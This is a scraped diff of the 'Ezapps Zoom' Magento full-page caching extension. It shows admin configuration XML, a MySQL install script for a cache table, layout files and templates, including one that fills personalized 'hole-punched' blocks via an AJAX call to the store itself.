<show_in_website>1</show_in_website>
|
149 |
+
<show_in_store>1</show_in_store>
|
150 |
+
</zoom_review>
|
151 |
+
<zoom_category translate="label">
|
152 |
+
<label>Cache Categories</label>
|
153 |
+
<frontend_type>select</frontend_type>
|
154 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
155 |
+
<sort_order>7</sort_order>
|
156 |
+
<show_in_default>1</show_in_default>
|
157 |
+
<show_in_website>1</show_in_website>
|
158 |
+
<show_in_store>1</show_in_store>
|
159 |
+
</zoom_category>
|
160 |
+
<zoom_cms translate="label">
|
161 |
+
<label>Cache CMS</label>
|
162 |
+
<frontend_type>select</frontend_type>
|
163 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
164 |
+
<sort_order>8</sort_order>
|
165 |
+
<show_in_default>1</show_in_default>
|
166 |
+
<show_in_website>1</show_in_website>
|
167 |
+
<show_in_store>1</show_in_store>
|
168 |
+
</zoom_cms>
|
169 |
+
<zoom_include_modules translate="label">
|
170 |
+
<label>Cache Additional Modules</label>
|
171 |
+
<comment><![CDATA[Example: <b>wantedmodule_somecontroller_(.*)</b>]]></comment>
|
172 |
+
<frontend_model>ezzoom/adminhtml_form_field_regex</frontend_model>
|
173 |
+
<backend_model>adminhtml/system_config_backend_serialized_array</backend_model>
|
174 |
+
<sort_order>14</sort_order>
|
175 |
+
<show_in_default>1</show_in_default>
|
176 |
+
<show_in_website>1</show_in_website>
|
177 |
+
<show_in_store>1</show_in_store>
|
178 |
+
</zoom_include_modules>
|
179 |
+
<zoom_include_uri translate="label">
|
180 |
+
<label>Cache Matching URIs</label>
|
181 |
+
<comment><![CDATA[Example: <b>/includedirectory/(.*).html</b>]]></comment>
|
182 |
+
<frontend_model>ezzoom/adminhtml_form_field_regex</frontend_model>
|
183 |
+
<backend_model>adminhtml/system_config_backend_serialized_array</backend_model>
|
184 |
+
<sort_order>16</sort_order>
|
185 |
+
<show_in_default>1</show_in_default>
|
186 |
+
<show_in_website>1</show_in_website>
|
187 |
+
<show_in_store>1</show_in_store>
|
188 |
+
</zoom_include_uri>
|
189 |
+
<zoom_exclude_modules translate="label">
|
190 |
+
<label>Exclude Specific Modules</label>
|
191 |
+
<comment><![CDATA[Example: <b>excludemodule_(.*)</b>]]></comment>
|
192 |
+
<frontend_model>ezzoom/adminhtml_form_field_regex</frontend_model>
|
193 |
+
<backend_model>adminhtml/system_config_backend_serialized_array</backend_model>
|
194 |
+
<sort_order>24</sort_order>
|
195 |
+
<show_in_default>1</show_in_default>
|
196 |
+
<show_in_website>1</show_in_website>
|
197 |
+
<show_in_store>1</show_in_store>
|
198 |
+
</zoom_exclude_modules>
|
199 |
+
<zoom_exclude_uri translate="label">
|
200 |
+
<label>Exclude Matching URIs</label>
|
201 |
+
<comment><![CDATA[Example: <b>/Some-Pages-To-Ignore(.*).html</b>]]></comment>
|
202 |
+
<frontend_model>ezzoom/adminhtml_form_field_regex</frontend_model>
|
203 |
+
<backend_model>adminhtml/system_config_backend_serialized_array</backend_model>
|
204 |
+
<sort_order>26</sort_order>
|
205 |
+
<show_in_default>1</show_in_default>
|
206 |
+
<show_in_website>1</show_in_website>
|
207 |
+
<show_in_store>1</show_in_store>
|
208 |
+
</zoom_exclude_uri>
|
209 |
+
</fields>
|
210 |
+
</cache_control>
|
211 |
+
<holepunch translate="label">
|
212 |
+
<label>Hole Punching</label>
|
213 |
+
<frontend_type>text</frontend_type>
|
214 |
+
<sort_order>50</sort_order>
|
215 |
+
<show_in_default>1</show_in_default>
|
216 |
+
<show_in_website>1</show_in_website>
|
217 |
+
<show_in_store>1</show_in_store>
|
218 |
+
<comment><![CDATA[<div style='border: 2px dotted #aaaacc;padding:4px;margin:4px;background-color:white'>
|
219 |
+
Many blocks are rendered uniquely for customers (like their cart summary). <b>"Hole-Punching"</b> removes these personalized areas from a
|
220 |
+
cached file and creates entry-points for re-insertion.
|
221 |
+
<ul style="padding:5px"><li><b>Auto:</b> The block will only be stripped out if it is detected to be non-empty.</li>
|
222 |
+
<li><b>On:</b> Always strip the block and create an entry point.<li>
|
223 |
+
<li><b>Off:</b> Never attempt to hole-punch the block. Use this for inactive blocks or for those that are not personalized</li></ul></div>
|
224 |
+
]]></comment>
|
225 |
+
<fields>
|
226 |
+
<punch_cart translate="label">
|
227 |
+
<label>Cart Sidebar</label>
|
228 |
+
<frontend_type>select</frontend_type>
|
229 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
230 |
+
<sort_order>2</sort_order>
|
231 |
+
<show_in_default>1</show_in_default>
|
232 |
+
<show_in_website>1</show_in_website>
|
233 |
+
<show_in_store>1</show_in_store>
|
234 |
+
</punch_cart>
|
235 |
+
<punch_compare translate="label">
|
236 |
+
<label>Products Compare Sidebar</label>
|
237 |
+
<frontend_type>select</frontend_type>
|
238 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
239 |
+
<sort_order>3</sort_order>
|
240 |
+
<show_in_default>1</show_in_default>
|
241 |
+
<show_in_website>1</show_in_website>
|
242 |
+
<show_in_store>1</show_in_store>
|
243 |
+
</punch_compare>
|
244 |
+
<punch_header translate="label">
|
245 |
+
<label>Header Welcome Message</label>
|
246 |
+
<frontend_type>select</frontend_type>
|
247 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
248 |
+
<sort_order>4</sort_order>
|
249 |
+
<show_in_default>1</show_in_default>
|
250 |
+
<show_in_website>1</show_in_website>
|
251 |
+
<show_in_store>1</show_in_store>
|
252 |
+
</punch_header>
|
253 |
+
<punch_links translate="label">
|
254 |
+
<label>Top Links</label>
|
255 |
+
<frontend_type>select</frontend_type>
|
256 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
257 |
+
<sort_order>5</sort_order>
|
258 |
+
<show_in_default>1</show_in_default>
|
259 |
+
<show_in_website>1</show_in_website>
|
260 |
+
<show_in_store>1</show_in_store>
|
261 |
+
</punch_links>
|
262 |
+
<punch_poll translate="label">
|
263 |
+
<label>Poll Sidebar</label>
|
264 |
+
<frontend_type>select</frontend_type>
|
265 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
266 |
+
<sort_order>6</sort_order>
|
267 |
+
<show_in_default>1</show_in_default>
|
268 |
+
<show_in_website>1</show_in_website>
|
269 |
+
<show_in_store>1</show_in_store>
|
270 |
+
</punch_poll>
|
271 |
+
<punch_messages translate="label">
|
272 |
+
<label>Messages</label>
|
273 |
+
<frontend_type>select</frontend_type>
|
274 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
275 |
+
<sort_order>11</sort_order>
|
276 |
+
<show_in_default>1</show_in_default>
|
277 |
+
<show_in_website>1</show_in_website>
|
278 |
+
<show_in_store>1</show_in_store>
|
279 |
+
</punch_messages>
|
280 |
+
<punch_notices translate="label">
|
281 |
+
<label>Notices</label>
|
282 |
+
<frontend_type>select</frontend_type>
|
283 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
284 |
+
<sort_order>11</sort_order>
|
285 |
+
<show_in_default>1</show_in_default>
|
286 |
+
<show_in_website>1</show_in_website>
|
287 |
+
<show_in_store>1</show_in_store>
|
288 |
+
</punch_notices>
|
289 |
+
<punch_reorder translate="label">
|
290 |
+
<label>Reorder Sidebar</label>
|
291 |
+
<frontend_type>select</frontend_type>
|
292 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
293 |
+
<sort_order>12</sort_order>
|
294 |
+
<show_in_default>1</show_in_default>
|
295 |
+
<show_in_website>1</show_in_website>
|
296 |
+
<show_in_store>1</show_in_store>
|
297 |
+
</punch_reorder>
|
298 |
+
<punch_viewed translate="label">
|
299 |
+
<label>Products Recently Viewed</label>
|
300 |
+
<frontend_type>select</frontend_type>
|
301 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
302 |
+
<sort_order>5</sort_order>
|
303 |
+
<show_in_default>1</show_in_default>
|
304 |
+
<show_in_website>1</show_in_website>
|
305 |
+
<show_in_store>1</show_in_store>
|
306 |
+
</punch_viewed>
|
307 |
+
<punch_compared translate="label">
|
308 |
+
<label>Comparison Report Sidebar</label>
|
309 |
+
<frontend_type>select</frontend_type>
|
310 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
311 |
+
<sort_order>6</sort_order>
|
312 |
+
<show_in_default>1</show_in_default>
|
313 |
+
<show_in_website>1</show_in_website>
|
314 |
+
<show_in_store>1</show_in_store>
|
315 |
+
</punch_compared>
|
316 |
+
<punch_wishlist translate="label">
|
317 |
+
<label>Wishlist Sidebar</label>
|
318 |
+
<frontend_type>select</frontend_type>
|
319 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
320 |
+
<sort_order>7</sort_order>
|
321 |
+
<show_in_default>1</show_in_default>
|
322 |
+
<show_in_website>1</show_in_website>
|
323 |
+
<show_in_store>1</show_in_store>
|
324 |
+
</punch_wishlist>
|
325 |
+
<punch_currency translate="label">
|
326 |
+
<label>Currency System</label>
|
327 |
+
<comment>All pages will be cached with the base prices, which will be converted to the selected currency after the page is loaded. Use carefully.</comment>
|
328 |
+
<frontend_type>select</frontend_type>
|
329 |
+
<source_model>ezzoom/system_config_backend_punch</source_model>
|
330 |
+
<sort_order>15</sort_order>
|
331 |
+
<show_in_default>1</show_in_default>
|
332 |
+
<show_in_website>1</show_in_website>
|
333 |
+
<show_in_store>1</show_in_store>
|
334 |
+
</punch_currency>
|
335 |
+
</fields>
|
336 |
+
</holepunch>
|
337 |
+
<debug translate="label">
|
338 |
+
<label>Debug Settings</label>
|
339 |
+
<frontend_type>text</frontend_type>
|
340 |
+
<sort_order>60</sort_order>
|
341 |
+
<show_in_default>1</show_in_default>
|
342 |
+
<show_in_website>1</show_in_website>
|
343 |
+
<show_in_store>1</show_in_store>
|
344 |
+
<fields>
|
345 |
+
<ajax_debug translate="label">
|
346 |
+
<label>Output Ajax Exceptions</label>
|
347 |
+
<frontend_type>select</frontend_type>
|
348 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
349 |
+
<sort_order>0</sort_order>
|
350 |
+
<show_in_default>1</show_in_default>
|
351 |
+
<show_in_website>1</show_in_website>
|
352 |
+
<show_in_store>1</show_in_store>
|
353 |
+
</ajax_debug>
|
354 |
+
<hole_punch_profile translate="label">
|
355 |
+
<label>Profile Entry Points</label>
|
356 |
+
<frontend_type>select</frontend_type>
|
357 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
358 |
+
<sort_order>3</sort_order>
|
359 |
+
<show_in_default>1</show_in_default>
|
360 |
+
<show_in_website>1</show_in_website>
|
361 |
+
<show_in_store>1</show_in_store>
|
362 |
+
</hole_punch_profile>
|
363 |
+
<header_string_include translate="label">
|
364 |
+
<label>Append to Cached Pages</label>
|
365 |
+
<comment>Accepts "%SYSTIME%", "%GENTIME%", "%FILE%" variables</comment>
|
366 |
+
<frontend_type>text</frontend_type>
|
367 |
+
<sort_order>4</sort_order>
|
368 |
+
<show_in_default>1</show_in_default>
|
369 |
+
<show_in_website>1</show_in_website>
|
370 |
+
<show_in_store>1</show_in_store>
|
371 |
+
</header_string_include>
|
372 |
+
</fields>
|
373 |
+
</debug>
|
374 |
+
<ezzoomlink>
|
375 |
+
<label>Link to us</label>
|
376 |
+
<frontend_type>text</frontend_type>
|
377 |
+
<sort_order>70</sort_order>
|
378 |
+
<show_in_default>1</show_in_default>
|
379 |
+
<show_in_website>1</show_in_website>
|
380 |
+
<show_in_store>1</show_in_store>
|
381 |
+
<fields>
|
382 |
+
<addlink translate="label">
|
383 |
+
<label>Add link to EZAPPS</label>
|
384 |
+
<comment>Like our product? Show support!</comment>
|
385 |
+
<frontend_type>select</frontend_type>
|
386 |
+
<source_model>ezzoom/system_config_backend_link</source_model>
|
387 |
+
<sort_order>4</sort_order>
|
388 |
+
<show_in_default>1</show_in_default>
|
389 |
+
<show_in_website>1</show_in_website>
|
390 |
+
<show_in_store>1</show_in_store>
|
391 |
+
</addlink>
|
392 |
+
<style translate="label">
|
393 |
+
<label>CSS Style</label>
|
394 |
+
<frontend_type>text</frontend_type>
|
395 |
+
<sort_order>6</sort_order>
|
396 |
+
<show_in_default>1</show_in_default>
|
397 |
+
<show_in_website>1</show_in_website>
|
398 |
+
<show_in_store>1</show_in_store>
|
399 |
+
</style>
|
400 |
+
</fields>
|
401 |
+
</ezzoomlink>
|
402 |
+
</groups>
|
403 |
+
</ezzoom_general>
|
404 |
+
</sections>
|
405 |
+
</config>
|
app/code/local/Ezapps/Zoom/sql/ezzoom_setup/mysql4-install-0.1.0.php
ADDED
@@ -0,0 +1,36 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Zoom 0.1.0 Installer
|
4 |
+
*
|
5 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
6 |
+
* @license: EPL 1.0
|
7 |
+
*/
|
8 |
+
|
9 |
+
|
10 |
+
$installer = $this;
|
11 |
+
|
12 |
+
$installer->startSetup();
|
13 |
+
|
14 |
+
$installer->run("
|
15 |
+
|
16 |
+
CREATE TABLE IF NOT EXISTS `{$this->getTable('ezapps_zoom_page')}` (
|
17 |
+
`id` int(11) NOT NULL AUTO_INCREMENT,
|
18 |
+
`server` varchar(128) NOT NULL,
|
19 |
+
`uri` varchar(255) NOT NULL,
|
20 |
+
`store_id` int(11) NOT NULL,
|
21 |
+
`store_code` varchar(255) NOT NULL,
|
22 |
+
`expires` datetime DEFAULT NULL,
|
23 |
+
`hits` int(11) NOT NULL,
|
24 |
+
`filename` text NOT NULL,
|
25 |
+
`ignore_entry` int(1) NOT NULL DEFAULT '0',
|
26 |
+
PRIMARY KEY (`id`),
|
27 |
+
KEY `URL` (`uri`,`store_id`),
|
28 |
+
KEY `FILE` (`filename`(255))
|
29 |
+
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Ezapps Zoom Cache Data';
|
30 |
+
|
31 |
+
|
32 |
+
");
|
33 |
+
|
34 |
+
$installer->endSetup();
|
35 |
+
|
36 |
+
?>
|
app/code/local/Ezapps/Zoom/sql/ezzoom_setup/mysql4-upgrade-0.1.0-1.0.0.php
ADDED
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Zoom Upgrader
|
4 |
+
*
|
5 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
6 |
+
* @license: EPL 1.0
|
7 |
+
*/
|
8 |
+
|
9 |
+
|
app/code/local/Ezapps/Zoom/sql/ezzoom_setup/mysql4-upgrade-1.0.0-1.0.1.php
ADDED
@@ -0,0 +1,7 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Zoom Upgrader
|
4 |
+
*
|
5 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
6 |
+
* @license: EPL 1.0
|
7 |
+
*/
|
app/design/adminhtml/default/default/layout/ezzoom.xml
ADDED
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<layout version="0.1.0">
|
3 |
+
<ezzoom_adminhtml_ezzoom_index>
|
4 |
+
<reference name="content">
|
5 |
+
<block type="ezzoom/adminhtml_page" name="ezzoom" />
|
6 |
+
</reference>
|
7 |
+
</ezzoom_adminhtml_ezzoom_index>
|
8 |
+
</layout>
|
app/design/adminhtml/default/default/template/ezzoom/dashboard/graph.phtml
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Adminhtml dashboard cache graph
|
5 |
+
*
|
6 |
+
* @category Ezapps
|
7 |
+
* @package Ezapps_Zoom
|
8 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
9 |
+
* @license: EPL 1.0
|
10 |
+
*/
|
11 |
+
|
12 |
+
?>
|
13 |
+
<div style="margin:20px;">
|
14 |
+
<p class="switcher a-right" style="padding:5px 10px;"><?php $data = $this->getStatData(); echo "<b>Hits:</b> {$data['hits']} ({$data['hitp']}) / <b>Misses:</b> {$data['misses']} ({$data['misp']}) ";
|
15 |
+
?>
|
16 |
+
</p><br/>
|
17 |
+
<?php
|
18 |
+
$_containerStyle = "width:{$this->getWidth()}px;height:{$this->getHeight()}px; margin:0 auto;position:relative";
|
19 |
+
?>
|
20 |
+
<?php if($this->getCount()): ?>
|
21 |
+
<p style="<?php echo $_containerStyle?>">
|
22 |
+
<span style="position:absolute;right:5px; bottom:5px;">
|
23 |
+
<a href="http://www.ezapps.ca"><img src="//www.ezapps.ca/media/ezapps_small_logo.png" border="0" /><br />
|
24 |
+
<img src="//www.ezapps.ca/media/zoom_small_logo.png" border="0" /></a>
|
25 |
+
</span>
|
26 |
+
<img src="<?php echo $this->getChartUrl(false) ?>" alt="chart" title="chart" /></p>
|
27 |
+
<?php else: ?>
|
28 |
+
<p class="a-center" style="<?php echo $_containerStyle?>"><?php echo $this->__('No Data Found') ?></p>
|
29 |
+
<?php endif; ?>
|
30 |
+
</div>
|
app/design/frontend/base/default/layout/ezzoom.xml
ADDED
@@ -0,0 +1,99 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<!--
|
3 |
+
/**
|
4 |
+
* @copyright Copyright (c) Ezra Morse (http://www.ezapps.ca)
|
5 |
+
* @license: EPL 1.0
|
6 |
+
*/
|
7 |
+
|
8 |
+
-->
|
9 |
+
<layout version="0.1.0">
|
10 |
+
|
11 |
+
<!--
|
12 |
+
Default layout, loads most of the pages
|
13 |
+
-->
|
14 |
+
<default>
|
15 |
+
<reference name="head">
|
16 |
+
<action method="addJs"><script>ezapps/ezzoom.js</script></action>
|
17 |
+
</reference>
|
18 |
+
<reference name="before_body_end">
|
19 |
+
<block type="ezzoom/ajax_footer" name="ezzoom_ajax_footer" template="ezzoom/ajax/footer.phtml"/>
|
20 |
+
</reference>
|
21 |
+
</default>
|
22 |
+
|
23 |
+
<ezzoom_hole_fill>
|
24 |
+
|
25 |
+
<!-- Remove all <default> blocks that are not holes, or containers of holes (like left, right, header, etc). -->
|
26 |
+
<!-- Until this is done, your hole-punching will load your full default layout, creating more overhead -->
|
27 |
+
<!-- <remove name="head" />
|
28 |
+
<remove name="content" />
|
29 |
+
<remove name="before_body_end" />
|
30 |
+
<remove name="before_head_end" />
|
31 |
+
<remove name="footer" />
|
32 |
+
<remove name="paypal.partner.top_cart.shortcut" />
|
33 |
+
<remove name="paypal.partner.cart_sidebar.shortcut" />
|
34 |
+
<remove name="google_analytics" />
|
35 |
+
<remove name="paypaluk.partner.top_cart.shortcut" />
|
36 |
+
<remove name="paypaluk.partner.cart_sidebar.shortcut" />
|
37 |
+
<remove name="head_rss" />
|
38 |
+
<remove name="core_profiler" />
|
39 |
+
<remove name="tags_popular" />
|
40 |
+
<remove name="left.newsletter" />
|
41 |
+
<remove name="return_link" />
|
42 |
+
<remove name="breadcrumbs" />
|
43 |
+
<remove name="store_language" />
|
44 |
+
<remove name="nav.top" />
|
45 |
+
<remove name="top.menu" />
|
46 |
+
<remove name="top.search" />
|
47 |
+
<remove name="formkey" />
|
48 |
+
<remove name="after_body_start" />
|
49 |
+
<remove name="social-networking" />
|
50 |
+
<remove name="catalog.vertnav" />
|
51 |
+
<remove name="catalog.leftnav" />
|
52 |
+
<remove name="paypal.partner.right.logo" /> -->
|
53 |
+
</ezzoom_hole_fill>
|
54 |
+
|
55 |
+
|
56 |
+
<!-- This hole is not in the default block. Read below for more information. You can also add all these blocks to <ezzoom_hole_fill> -->
|
57 |
+
<ezzoom_catalog_category_layered_nochildren>
|
58 |
+
<remove name="right.reports.product.viewed" />
|
59 |
+
<block type="reports/product_viewed" before="right.permanent.callout" name="left.reports.product.viewed" template="reports/product_viewed.phtml" />
|
60 |
+
</ezzoom_catalog_category_layered_nochildren>
|
61 |
+
|
62 |
+
<ezzoom_catalog_category_default>
|
63 |
+
<reference name="left">
|
64 |
+
<block type="directory/currency" name="currency" before="catalog.leftnav" template="directory/currency.phtml"/>
|
65 |
+
</reference>
|
66 |
+
</ezzoom_catalog_category_default>
|
67 |
+
|
68 |
+
<ezzoom_catalog_category_layered>
|
69 |
+
<reference name="left">
|
70 |
+
<block type="directory/currency" name="currency" before="catalog.leftnav" template="directory/currency.phtml"/>
|
71 |
+
</reference>
|
72 |
+
</ezzoom_catalog_category_layered>
|
73 |
+
|
74 |
+
<!--
|
75 |
+
** If a block cannot be located, it is likely not part of the <default> handle.
|
76 |
+
** You must add additional handles to load these blocks for the appropriate pages.
|
77 |
+
**
|
78 |
+
** For example, if you want the block "catalog.product.related" to be available for
|
79 |
+
** the <catalog_product_view>, a handle called <ezzoom_catalog_product_view> must be
|
80 |
+
** created. In this handle, the block information must match the original <catalog_product_view>
|
81 |
+
**
|
82 |
+
** <ezzoom_catalog_product_view>
|
83 |
+
** <reference name="right">
|
84 |
+
** <block type="catalog/product_list_related" name="catalog.product.related" before="-" template="catalog/product/list/related.phtml"/>
|
85 |
+
** </reference>
|
86 |
+
** </ezzoom_catalog_product_view>
|
87 |
+
**
|
88 |
+
** All of the original page handle names are passed into the hole filler, but they are
|
89 |
+
** loaded with a prefix of "ezzoom_". This prevents category and page handles from
|
90 |
+
** being loaded unless they are specifically created here.
|
91 |
+
**
|
92 |
+
** Because category handles require a registered category, their loading will result in
|
93 |
+
** a fatal error (unless we load the category as well). In order to decrease server load,
|
94 |
+
** we strive to only load the blocks/models that are required on each specific page.
|
95 |
+
**
|
96 |
+
** In many cases, the <default> handle should be sufficient to fill in most holes.
|
97 |
+
**-->
|
98 |
+
|
99 |
+
</layout>
|
app/design/frontend/base/default/template/ezzoom/ajax/footer.phtml
ADDED
@@ -0,0 +1,105 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php if ($this->displayFooter() == true || $this->getCurrencyConversion()) : ?>
|
2 |
+
<?php
|
3 |
+
|
4 |
+
/**
|
5 |
+
* Footer Ajax Controller
|
6 |
+
*
|
7 |
+
* @category Ezapps
|
8 |
+
* @package Ezapps_Zoom
|
9 |
+
* @author Ezra Morse (http://www.ezapps.ca)
|
10 |
+
* @license: EPL 1.0
|
11 |
+
*/
|
12 |
+
|
13 |
+
|
14 |
+
$state = $this->getAllData();
|
15 |
+
$holes = $this->getHoles();
|
16 |
+
$url = 'ezzoom/hole/fill';
|
17 |
+
$url_currency = 'ezzoom/hole/convert';
|
18 |
+
$path = $this->getPath();
|
19 |
+
$domain = $this->getDomain();
|
20 |
+
|
21 |
+
?>
|
22 |
+
<?php if (count($holes) > 0 || $this->getCurrencyConversion()) : ?>
|
23 |
+
|
24 |
+
<?php echo $this->getAjaxPre() ?>
|
25 |
+
|
26 |
+
<script type="text/javascript">
|
27 |
+
//<![CDATA[
|
28 |
+
|
29 |
+
document.observe("dom:loaded", function() {
|
30 |
+
|
31 |
+
new Ajax.JSONRequest('<?php echo $this->getUrl('', array('_secure'=> true)) . $url ?>', {
|
32 |
+
parameters: {ajax: true,
|
33 |
+
id: '<?php echo $this->getPageTag() ?>',
|
34 |
+
key: '<?php echo $this->getFileTag() ?>',
|
35 |
+
holes: '<?php echo $state ?>'
|
36 |
+
},
|
37 |
+
onComplete: function(transport) {
|
38 |
+
var json = transport.responseJSON;
|
39 |
+
|
40 |
+
for(var i=0;i<json.fill.length;i++){
|
41 |
+
var obj = json.fill[i];
|
42 |
+
$('ezzoom-'+obj.block).update(obj.data);
|
43 |
+
}
|
44 |
+
|
45 |
+
if (json.conversionRate)
|
46 |
+
convertFromJson(json);
|
47 |
+
}
|
48 |
+
});
|
49 |
+
});
|
50 |
+
|
51 |
+
//]]>
|
52 |
+
</script>
|
53 |
+
|
54 |
+
<?php echo $this->getAjaxPost() ?>
|
55 |
+
|
56 |
+
<?php endif; ?>
|
57 |
+
|
58 |
+
<?php if ($this->getCurrencyConversion()) : ?>
|
59 |
+
|
60 |
+
<?php echo $this->getAjaxPreCurrency() ?>
|
61 |
+
|
62 |
+
<script type="text/javascript">
|
63 |
+
//<![CDATA[
|
64 |
+
|
65 |
+
document.observe("dom:loaded", function() {
|
66 |
+
|
67 |
+
var json = '<?php echo $this->getCurrencyJson() ?>';
|
68 |
+
|
69 |
+
json = json.evalJSON(true);
|
70 |
+
|
71 |
+
if (json.conversionRate)
|
72 |
+
convertFromJson(json);
|
73 |
+
|
74 |
+
});
|
75 |
+
|
76 |
+
//]]>
|
77 |
+
</script>
|
78 |
+
|
79 |
+
<?php echo $this->getAjaxPostCurrency() ?>
|
80 |
+
<?php endif; ?>
|
81 |
+
|
82 |
+
|
83 |
+
<?php if (!Mage::getSingleton('catalog/session')->getParamsMemorizeDisabled() &&
|
84 |
+
(is_object(Mage::getSingleton('core/layout')->getBlock("product_list_toolbar")) || Mage::registry('current_category') && !Mage::registry('current_product'))) : ?>
|
85 |
+
<?php $cookies = $this->getCookieToSet(); ?>
|
86 |
+
|
87 |
+
<script type="text/javascript">
|
88 |
+
//<![CDATA[
|
89 |
+
|
90 |
+
document.observe("dom:loaded", function() {
|
91 |
+
|
92 |
+
Mage.Cookies.path = '<?php echo $path; ?>';
|
93 |
+
Mage.Cookies.domain = <?php echo ($domain != '' ? "'$domain'" : "null" ) ?>;
|
94 |
+
|
95 |
+
<?php foreach ($cookies as $key => $cookie) : ?>
|
96 |
+
Mage.Cookies.set('<?php echo $key ?>', '<?php echo $cookie ?>');
|
97 |
+
<?php endforeach; ?>
|
98 |
+
});
|
99 |
+
|
100 |
+
//]]>
|
101 |
+
</script>
|
102 |
+
<?php endif; ?>
|
103 |
+
|
104 |
+
<?php endif; ?>
|
105 |
+
<?php echo $this->getEzappsLink(); ?>
|
app/etc/modules/Ezapps_Tools.xml
ADDED
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<config>
|
3 |
+
<modules>
|
4 |
+
<Ezapps_Tools>
|
5 |
+
<active>true</active>
|
6 |
+
<codePool>local</codePool>
|
7 |
+
</Ezapps_Tools>
|
8 |
+
</modules>
|
9 |
+
</config>
|
app/etc/modules/Ezapps_Zoom.xml
ADDED
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<config>
|
3 |
+
<modules>
|
4 |
+
<Ezapps_Zoom>
|
5 |
+
<active>true</active>
|
6 |
+
<codePool>local</codePool>
|
7 |
+
</Ezapps_Zoom>
|
8 |
+
</modules>
|
9 |
+
</config>
|
ezzoom.php
ADDED
@@ -0,0 +1,327 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
